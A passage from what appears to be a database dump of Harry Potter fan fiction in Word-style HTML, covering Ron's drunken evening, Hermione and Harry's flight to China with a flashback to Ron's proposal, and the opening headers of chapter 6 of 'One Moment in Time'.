gone. Where on earth could he have disappeared to? </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Ron did another hiccup. He decided that he had\nenough today and slammed the money down on the counter. Standing up, he held on\nto the chairs and tables unsteadily as he tried to make his way out. The vision\nbefore him was blurry, his head was getting heavy. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Where on earth am I?&#8221; Ron wondered out loud, swinging his arms around him, nearly\nknocking into a waiter. Ron shook his head and blinked a few times. <i style="mso-bidi-font-style:normal">Hermione? </i></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Hermione!&#8221; Ron shouted as he walked unsteadily towards her and grasped\nher by the shoulders. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Hermione, where have you\nbeen?&#8221; *Hiccup* &#8220;Do you know I\nmiss you so?&#8221; *Hiccup* &#8220;Come\nback to me.&#8221;*Hiccup* </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">The lady pushed his hands off her. &#8220;I am not Her&#8230; Oh, whatever. I am not\nwho you think I am. I don&#8217;t even know you.&#8221; The lady said, pushing Ron with all her might. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Hermione,&#8221; *Hiccup* &#8220;Why are you avoiding me?&#8221; *Hiccup* &#8220;Why are you rejecting me?&#8221; *Hiccup* &#8220;Don&#8217;t\nyou love me?&#8221; *Hiccup*</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Laryn, is he bothering\nyou?&#8221; The bartender said from behind. Ron gave a loud\nburp and vomited upon Laryn. Laryn looked down. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Eww&#8230;&#8221; Laryn commented,\npinching her nose. &#8220;Is there anyway you can put him? I\nmust really get to China on time.&#8221; Laryn said. &#8220;My boss wants me there\nby 9.&#8221; Laryn continued. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Put him in the backroom.\nCast the charm on him.&#8221; The bartender said. Laryn nodded\nand carried Ron to the back room. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Kudruness&#8221; Laryn said, waving her wand over Ron. Ron blinked a few\ntimes and open his eyes.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;You are&#8230;&#8221;\nRon said, clutching his head. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Laryn Siovonne. And you are\ndrunk. The exit is out the back gate, and I really have to go.&#8221;\nLaryn said, smiling at him before disapparating.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Laryn&#8230;&#8221;\nRon trailed as he caught a glimpse of the female. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">~*~</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Hermione, dinner&#8217;s served.&#8221; Harry said, shaking\nHermione gently. Hermione had been sleeping throughout the flight, taking a\nwell-deserved rest. The past few nights hadn&#8217;t been\nexactly pleasant as scenarios of the break-up kept appearing within her mind.\nHermione fluttered her eyelids as she woke up.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;What did you say?&#8221; Hermione said, releasing a loud yawn.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Dinner is served.&#8221; Harry said, patiently. Hermione looked at him quizzically. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Hannah is perved? Did you\nmean peeved? But why talk about Hannah?&#8221; Hermione said,\nrubbing her eyes as she tried to stifle the next coming yawn. Harry rolled his\neyes.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;I said, Dinner is served,\nnot Hannah is perved.&#8221; Harry continued. Hermione\ngrinned sheepishly. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Sorry&#8230;\nSo&#8230; er..\nwhat&#8217;s for dinner.&#8221; Hermione\nsaid, trying to change the subject. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Seriously Hermione,\nHannah is perved? Well, I got you steak and potatoes. Do you want any soup?&#8221; Harry laughed as he opened the tray cover. Hermione gave\nanother loud yawn. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Soap? Why would I want\nsoap? I do not need to bathe.&#8221; Hermione said, picking\nup her fork and knife. Harry almost choked. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;I said, soup, not soap.\nThere&#8217;s no such thing as cream of potato soap, nor\ncream of pumpkin soap nor vegetable soap is there?&#8221;\nHarry said laughing good-heartedly. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Speak clearer than.&#8221; Hermione commented, taking a morsel of food. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Don&#8217;t\nyawn.&#8221; Was all Harry said as he sipped his glass of red\nwine. Hermione looked at him, eyelids half closed\n(a/n: -_-&#8230; get it?) and put the earphones on, not\nwilling to listen to Harry. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">And now, the next song up is I knew I loved you. </i></b>Hermione&#8217;s\nfork dropped. Harry looked at her, an eyebrow rose. However, Hermione did not\nseem to see. She was already far back in memory land. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">:: Flashback::</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Hermione walked blindfolded into an unknown area.\nSomeone had led her there. She wondered what Ron was up to. He had asked her to\nmeet him at coastal Sands only to sent Harry to meet her. Harry, instead of\ntelling her what&#8217;s wrong, blindfolded her and took her\non a car ride.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">The car ride seemed like forever to Hermione. She\ncouldn&#8217;t sneak a peak at her watch for Harry had her\ntightly blindfolded. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Harry Potter, where on\nearth are you leading me?&#8221; Hermione said as Harry\nguided her out of the door. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;You&#8217;ll\nknow in a second Hermione, no questions for now.&#8221; Harry\nsaid as he continue leading her, turning left in a moment, and right the next\nminute. Hermione was getting confuse.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Could we stop for a\nwhile?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;No.&#8221;\nwas all Harry said as he took another turn to the left. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Where on earth are we\ngoing?&#8221; Hermione said, not willing to move. Harry tried\nto drag her but to no avail.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Shake a leg Hermione. Don&#8217;t get me into trouble.&#8221; Harry said\npleadingly but Hermione did not answer.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Not until you&#8230; ah&#8221; Hermione screamed as Harry\ncarried her piggy back. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Let me down Harry Potter.&#8221; Hermione screamed, fidgeting. Harry had a hard time but he\nstill managed to move. Finally, he set her down at some place&#8221;\nHarry took out the blindfold and Hermione opened her eyes. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Before her was a sign made of popsicle sticks\nwith lights twirled around them saying, &#8216;Marry Me&#8217;. Hermione couldn&#8217;t believe her\neyes. She wanted to run. What sick joke was Harry playing on her? She turned\naround, wanting to run, only to see another sign. A cloth with the words &#8216;Marry Me&#8217; spray-painted on it. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;What kind of sick joke\nare you playing on me Harry?&#8221; Hermione asked. Harry\nsaid nothing and stifled a few giggles as he pointed up to the sky. Hermione\nlooked up only to see a broomstick fly across the sky, leaving a trail of\ngolden powder. It said, &#8216;Marry Me&#8217;.\nHermione couldn&#8217;t believe her eyes. This is not April\nFool&#8217;s Day, so why was Harry doing this to her? </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Suddenly, Ron landed in front of her and knelt\ndown in front of her. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Will you marry me,\nHermione?&#8221; Ron asked, taking from the pocket of his\nrobe, a ring. Hermione was speechless. She turned and looked at Harry.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;So&#8230;\nit wasn&#8217;t you who was proposing to me?&#8221;\nHermione said, a little unsure. Harry looked at her, eyes wide open.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;No, what makes you think\nthat?&#8221; He asked, laughing a little. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Well&#8230;&#8221;\nHermione said, playing with the hem of her shirt. She didn&#8217;t\nknow what to say. This was so embarrassing. Ron saved her just in time. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Let&#8217;s\ngo in Hermione.&#8221; Ron said as he led her into a little\nhut at the edge of the sandy beach. Harry followed behind. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">The hut, though small, was just like home. The\nparquet floor was warm and felt comfortable to the soles of the feet. A fire\nwas burning fiercely at the brick fireplace. Set in the middle was a table\ncovered by a pristine white table cloth. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Ron pulled out the chair for Hermione and she sat\non it. Ron sat on the other side. Harry meanwhile had changed his clothes into\nthe sort like a butler&#8217;s. He extinguished the lights\naround the house and covered the fireplace with a shade. Taking out his wand,\nhe lighted the 3 wax candles in the centre of the room, took a bow, and left. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;So, what do you say\nHermione? Will you marry me?&#8221; Ron asked, pouring a\nglass of white wine for himself and Hermione. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Well, it depends on what\nyou can come up with.&#8221; Hermione said, smirking at him.\nRon gave a little laugh as he set the wine bottle back where it belonged. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Ahh&#8230; I knew you would say\nthat.&#8221; Ron said as Harry walked in and placed a\nblackforest cake on the table. With a knife, he deftly cut a slice each for\nboth Ron and Hermione before taking his leave again. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;How did you know I like\nBlackforest cake?&#8221; Hermione said, picking up the\ndessert fork and taking a bite. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;I have my sources.&#8221; Ron said mysteriously when suddenly, Hermione felt\nsomething hard and she spat it out. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;What&#8217;s\nthis?&#8221; She asked, pointing her fork at it. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;A rock bun, well, not\njust any rock bun, why don&#8217;t you take a look at it?&#8221; Ron asked. Hermione peered at it closer. Engraved on this\nrock bun were the words &#8216;marry me&#8217;.\nHermione looked up, only to see Ron grinning at her. Nonchantly, she took another\nbite. Ron&#8217;s grin remained on his face and Hermione was\npuzzled. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Just than, Harry walked in again and handed Ron\nthree stalks of roses. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;This&#8221;\nRon said as he took one rose. &#8220;Represents our past.&#8221; Ron said, passing Hermione the rose. Hermione took it in\nher hand. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;This&#8221;\nRon continued, taking out another Rose. &#8220;Represents our\npresent.&#8221; Ron said, passing Hermione another rose. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;And this.&#8221; Ron said, holding the last rose in his hand as he stood up.\n&#8220;Represents our future.&#8221; Ron\ncontinued as he knelt down beside Hermione and took out the ring. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Marry me, Hermione.&#8221; Ron said. Hermione looked at him with tears in her eyes and\nnodded. Ron stood up, so did Hermione, and they hugged each other like end was\nnearing them. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">From a corner, a few notes of the violin were\nheard. Harry stood out and gently began playing. Hermione looked at Ron.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Harry can play the\nviolin?&#8221; Hermione asked, surprised. All those 7 years\nshe had known him never told her that he knew how to play the violin.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Yes, well, only this\nsong.&#8221; Ron said, smiling sheepishly. Care for a dance?&#8221; Ron asked. Hermione nodded and they began to sway gently to\nthe music. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">Maybe it&#8217;s intuition,</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">Somethings</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"> you just don&#8217;t question.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">Like, in your eyes,</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I see my future in an instant</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">And there it goes.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I think I&#8217;ve found my\nbest friend. </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I know that it might Sound more</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">Than a little crazy, but I Believe</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">Before I met you.</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I think I dreamed you into life.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you before I met you.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I have been waiting all my life. </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">There&#8217;s just no rhyme or\nreason,</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">Only this sense of\ncompletion.</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">And in your eyes,</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I see the missing pieces</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I&#8217;m searching for.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I think I found my way home. </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I know that it might Sound more</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">Than a little crazy, but I Believe</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">Before I met you.</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I think I dreamed you into life.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you before I met you.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I have been waiting all my life.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">A thousand angels dance around you.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I am complete now that I&#8217;ve\nfound you.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">Before I met you.</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I think I dreamed you into life.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you before I met you.</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I have been waiting all my life. </i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">I knew I loved you</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">:: End of flashback:: </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Tears had rolled down Hermione cheeks as the\nmemories came flooding back to her. Her steak was slowly becoming salted and\nHarry, who was looking at her, took out a tissue. Hermione than broke from the\ntrance and accepted the tissue. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Ron, why must you do this\nto me?&#8221; Hermione said in a barely audible whispered,\nbut Harry heard her. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Hermione, if you really\nmissed Ron, why not just forget everything and go back?&#8221;\nHarry asked, concerned. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Hermione did not moved as a single tear fell from\nher eye. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Harry,&#8221;\nHermione said softly. Harry heard her and looked up.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Yes?&#8221;\nHarry asked, hoping with his every fiber that she decided to go back. Hermione\nlooked up and snapped.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Shut up.&#8221;\n</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">~*~</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Yay!!! I finally finished\nthis chapter. I am so glad. Please read and review, please please</p>\n\n\n\n\n\n\n'),
	(23, 6, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">One Moment in Time</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">One Moment in Time</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Author: Ohepelss Oramtnci</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Spoilers: All Four Books</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Category: Romance</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Keywords: Harry Potter/ Hermione\nGranger</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Rating: Hmm&#8230; how about Pg-Pg-13</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Summary: Hermione thinks Ron is\ncheating on her and breaks up with him. Both are equally upset, and during this\ntime, Harry stands by Hermione and helps her through. Would love eventually\nblossom between them or would them remain as best friends like they began with?\n</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Disclaimer: All Harry Potter\nrelated characters belong to Ms. J.K.Rowling. Other characters which you do not\nrecognize belong to yours truly. The song entitled Without You belongs to Ms.\nMariah Carey.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Author&#8217;s Note: Sorry for not\nupdating for a long span of time. Work was increasing and I had a hard time\ncoping. Finally, it was Chinese New year, and of course, I had time free on my\nhands to bring to you this New Year special, enjoy it. </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Thanks to\neveryone who reviewed :D </b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 6:\nHappy Chinese New Year, Hermione&#8230; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a\nfew hours of flight, Hermione and Harry managed to make it to China alive, without bickering all\nthroughout the plane. The air in China was seemingly fresh and Harry took\nin the many smells that came flooding to him. There were many different breeds\nof flowers, blending in colourfully with the bright blue sky and the chirping\nof the birds seemed like a sweet nature tune. Immediately, Harry took a liking\nto China, loving it for its peaceful\nnature, loving it for its serenity. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwhipped his head around to face Hermione, his hair being blown by a gentle\nbreeze messily around his 